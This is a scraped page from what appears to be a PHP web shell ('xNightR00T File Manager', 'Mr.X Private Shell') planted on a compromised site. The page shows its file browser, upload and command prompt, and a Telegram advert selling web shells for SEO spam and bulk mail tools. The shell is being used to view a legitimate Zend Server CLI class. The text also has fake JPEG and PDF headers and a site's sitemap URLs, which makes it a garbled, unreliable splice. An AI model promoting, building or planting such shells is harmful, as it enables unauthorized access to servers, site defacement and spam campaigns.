xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

abstract class ZServer_Cli_Tool 
{
    /**
     * Global exit codes
     */
    const EXIT_OK           = 0;
    const EXIT_UNKNOWN      = 1;
    const EXIT_INVALID_CMD  = 2;
    const EXIT_INVALID_ARG  = 3;
    const EXIT_PERMISSIONS  = 4;
    const EXIT_UNAUTHORIZED = 5;
    
    /**
     * Zend Server editions
     */
    const EDITION_ZS   = 1;
    const EDITION_ZSCE = 2;
    const EDITION_ZSCM = 4;
    
    const OS_LINUX   = 1;
    const OS_MACOSX  = 2;
    const OS_WINDOWS = 4;
    
    protected $_toolArgs = array();
    
    /**
     * Output stream
     * 
     * @var ZServer_Cli_OutputStream_Interface
     */
    protected $_outStream;
    
    protected $_toolName;
    
    protected $_toolDescription;
    
    protected $_command;
    
    protected $_commandClasses = array();
    
    protected $_debugEnabled = false;
    
    /**
     * Arguments Parser
     *  
     * @var Zend_Console_Getopt
     */
    protected $_arguments = array();
    
    /**
     * Create a new CLI context object
     * 
     */
    public function __construct()
    {
        // Check that we are in CLI context
        if (! self::_checkSapi()) {
            throw new ZServer_Cli_Tool_Exception("This tool must be executed in command line context using PHP CLI", self::EXIT_UNKNOWN);
        }
        
        // All tools have the help flag
        $this->_toolArgs['h|help'] = 'show usage information and exit';
    }
    
    /**
     * Enable or disable debugging
     * 
     * @param boolean $flag
     */
    public function enableDebug($flag = true)
    {
        $this->_debugEnabled = (boolean) $flag;
        if ($this->_outStream) { 
            $this->_outStream->enableDebug($flag);
        }
    }
    
    public function getName()
    {
        return $this->_toolName;
    }
    
    public function getDescription()
    {
        return $this->_toolDescription;
    }
    
    /**
     * Set the output stream 
     * 
     * @param  ZServer_Cli_OutputStream_Interface $outStream
     * @return ZServer_Cli_Tool 
     */
    public function setOutputStream(ZServer_Cli_OutputStream_Interface $outStream)
    {
        $this->_outStream = $outStream;
        return $this;
    }
    
    /**
     * Parse command line arguments
     * 
     * @param  array $args
     * @return ZServer_Cli_Tool
     */
    public function parseArguments(array $args)
    {
        // The first argument must be the command
        $this->_command = array_shift($args);
        if ($this->_command == '-h' || $this->_command == '--help') {
            $this->_command = 'help';
            
        } elseif (! $this->_command) { 
            // No command specified
            throw new ZServer_Cli_Tool_Exception("No command specified. For a list of commands, run '{$this->_toolName} --help'", self::EXIT_INVALID_CMD);
        }
        
        $this->output()->debug("Command is '{$this->_command}'" . PHP_EOL);
        
        $optsParser = new ZServer_Cli_Getopt($this->_toolArgs);
        
        if ($this->_command != 'help') {
            $this->_command = $this->_getCommandObject($this->_command);
            $optsParser->addRules($this->_command->getArguments());
        }
        
        try {
            $optsParser->setArguments($args);
            $optsParser->parse();
        } catch (Zend_Console_Getopt_Exception $ex) {
            throw new ZServer_Cli_Tool_Exception($ex->getMessage(), self::EXIT_INVALID_ARG); 
        }
         
        $this->_arguments = $optsParser;
        
        return $this;
    }
    
    /**
     * Get the context log object
     * 
     * @return ZServer_Cli_OutputStream_Interface
     */
    public function output()
    {
        return $this->_outStream;
    }
    
    /**
     * Get the argument parser object
     * 
     * @return Zend_Console_Getopt
     */
    public function getArguments()
    {
        return $this->_arguments;
    }
    
    /**
     * Get the local operating system, or null if unknown
     * 
     * @return integer
     */
    public function getLocalOperatingSystem()
    {
        if (DIRECTORY_SEPARATOR == '\\') return self::OS_WINDOWS;
        switch(strtolower(PHP_OS)) {
            case 'linux': return  self::OS_LINUX;
            case 'darwin': return self::OS_MACOSX;
        }
        
        return null;
    }
    
    /**
     * Get the edition of the locally installed Zend Server, or null if not found
     * 
	 * @return integer
	 * @todo   IMPLEMENT ME!
     */
    public function getLocalInstallationEdition()
    {
        
    }
    
    /**
     * Run the selected command for the selected tool and return an exit code
     * 
     * @return integer
     */
    public function run()
    {
        if ($this->_command == 'help') {
            // Command is 'help'
            $remainingArgs=$this->_arguments->getRemainingArgs();
            $helpFor = array_shift($remainingArgs);
            if ($helpFor) { 
                $this->_command = $this->_getCommandObject($helpFor);
            }
            $this->_showHelp();
            
        } elseif ($this->_command instanceof ZServer_Cli_Tool_Command_Abstract) {
            if (isset($this->_arguments->h)) {
                $this->_showHelp();
            } else {
                // Regular command with no help, just run
                $this->_preRun();
                $this->_command->run();
                $this->_postRun();
            }
            
        } else {
            throw new ZServer_Cli_Tool_Exception("no command was set", self::EXIT_UNKNOWN);
        }
    }
    
    /**
     * Pre-execution actions, may be defined by concrete implementations
     * 
     */
    protected function _preRun()
    {
        
    }
    
    /**
     * Post-execution actions, may be defined by concrete implementations
     * 
     */
    protected function _postRun()
    {
        
    }
    
    /**
     * Get a command object for a specified command
     * 
     * @param  string $command
     * @return ZServer_Cli_Tool_Command_Abstract
     */
    protected function _getCommandObject($command)
    {
        if (isset($this->_commandClasses[$command])) {
            $class = $this->_commandClasses[$command];
            try {
                @Zend_Loader::loadClass($class);
            }  catch (Zend_Exception $ex) { 
                throw new ZServer_Cli_Tool_Exception("Unable to load command class $class for command $command", self::EXIT_UNKNOWN);
            }
            
            $cmdObj = new $class($command, $this);
            if (! $cmdObj instanceof ZServer_Cli_Tool_Command_Abstract) { 
                throw new ZServer_Cli_Tool_Exception("Invalid command class $class for command $command", self::EXIT_UNKNOWN);
            }
            
            return $cmdObj;
            
        } else {
            throw new ZServer_Cli_Tool_Exception("Unknown command: $command. Run '{$this->getName()} help' to get a list of commands", self::EXIT_INVALID_CMD);
        }
    }
    
    /**
     * Show help message
     * 
     * @return void
     */
    protected function _showHelp()
    {
        if ($this->_command instanceof ZServer_Cli_Tool_Command_Abstract) { 
             // Show help for the specified command, if it exits
            $help = $this->_getCommandHelp();
        } else {
            // Show global tool help
            $help = $this->_getToolHelp();
        }
         
        $this->output()->write($help);
    }
    
    /**
     * Get the list of commands and their classes for this tool
     * 
     * @return array
     */
    public function _getCommands()
    {
        return $this->_commandClasses;
    }
    
    protected function _getToolHelp()
    {
        $help = $this->getName() . ": " . $this->getDescription() . PHP_EOL . 
            "usage: {$this->getName()} <command> [ arguments... ]" . PHP_EOL .
            PHP_EOL .  
            "available commands:" . PHP_EOL;
        
        // List available commands
        foreach($this->_getCommands() as $cmd => $cmdClass) {
            try {
                Zend_Loader::loadClass($cmdClass);
            } catch (Zend_Exception $ex) { 
                $this->output()->debug((string) $ex);
                throw new ZServer_Cli_Tool_Exception("Unable to load command class $cmdClass", self::EXIT_UNKNOWN);
            }
            
            $cmdObj = new $cmdClass($cmd, $this);
            $help .= self::_formatHelpOption($cmd, $cmdObj->getDescription());
        }
        
        // List global arguments
        $help .= PHP_EOL . $this->_getToolArgsHelp() . PHP_EOL;
        
        $help .=  "for a list of command-specific options, run '{$this->getName()} --help <command>'" . PHP_EOL . 
            PHP_EOL;
                
        return $help;
    }
    
    protected function _getCommandHelp()
    {
        $help = "{$this->getName()} {$this->_command->getName()}: " . $this->_command->getDescription() . PHP_EOL . 
            "usage: {$this->_command->getUsageMessage()}" . PHP_EOL .
            PHP_EOL;
            
        $cmdArgs = $this->_command->getArguments();
        if ($cmdArgs) {
            $help .= "command specific options:" . PHP_EOL;
            foreach($cmdArgs as $arg => $desc) { 
                $help .= self::_formatHelpOption(self::_formatArgumentKey($arg), $desc);
            }
            $help .= PHP_EOL;
        }
        
        $help .= $this->_getToolArgsHelp() . PHP_EOL;
        
        return $help;
    }
    
    protected function _getToolArgsHelp()
    {
        $help = "common arguments:" . PHP_EOL; 
            
        foreach($this->_toolArgs as $arg => $desc) {
            $help .= self::_formatHelpOption(self::_formatArgumentKey($arg), $desc);
        }
        
        return $help;
    }

	/**
     * Check that we are in CLI SAPI
     * 
     * @return boolean
     */
    static protected function _checkSapi()
    {
        return (PHP_SAPI === 'cli');
    }
    
    static protected function _formatHelpOption($flag, $description)
    {
        return sprintf("  %-24s %s%s", $flag, $description, PHP_EOL);
    }
    
    static protected function _formatArgumentKey($key)
    {
        $needValue = false;
        $shortFlag = '';
        $longFlag = '';
        
        if (in_array(substr($key, -2, 1), array('=', '-'))) { 
            $key = substr($key, 0, -2);
            $needValue = true;
        }
        
        $flags = explode('|', $key);
        foreach($flags as $flag) { 
            if (strlen($flag) === 1) { 
                $shortFlag = $flag;
            } else {
                $longFlag = $flag; 
            }
        }
        
        if (! ($shortFlag || $longFlag)) { 
            throw new ErrorException("Error converting parameter key into a help message: $key");
        }
        
        return sprintf("%s %s%s", 
            ($shortFlag ? "-$shortFlag" : ''),
            ($longFlag ? "--$longFlag" : ''), 
            ($needValue ? ' <value>' : '')
        );
    }
    
    /**
     * Return the right tool class based on tool name
     * 
     * @param  string $tool
     * @return ZServer_Cli_Tool
     * @throws ZServer_Cli_Tool_Exception
     */
    static public function toolFactory($tool)
    {
        // Try to load tool class
        $toolClass = 'ZServer_Cli_Tool_' . ucfirst(strtolower($tool));
        
        try {
            @Zend_Loader::loadClass($toolClass);
            $toolObj = new $toolClass();
            if (! $toolObj instanceof self) {
                throw new ZServer_Cli_Tool_Exception("$toolClass is not an instance of ZServer_Cli_Tool as expected", self::EXIT_UNKNOWN);
            }
            
        } catch (Zend_Exception $ex) {
            throw new ZServer_Cli_Tool_Exception("Unable to find tool class for '$tool'", self::EXIT_UNKNOWN);
        }
        
        return $toolObj;
    }
}

Filemanager

Name Type Size Permission Actions
OutputStream Folder 0755
Tool Folder 0755
Getopt.php File 64 B 0644
Tool.php File 11.62 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml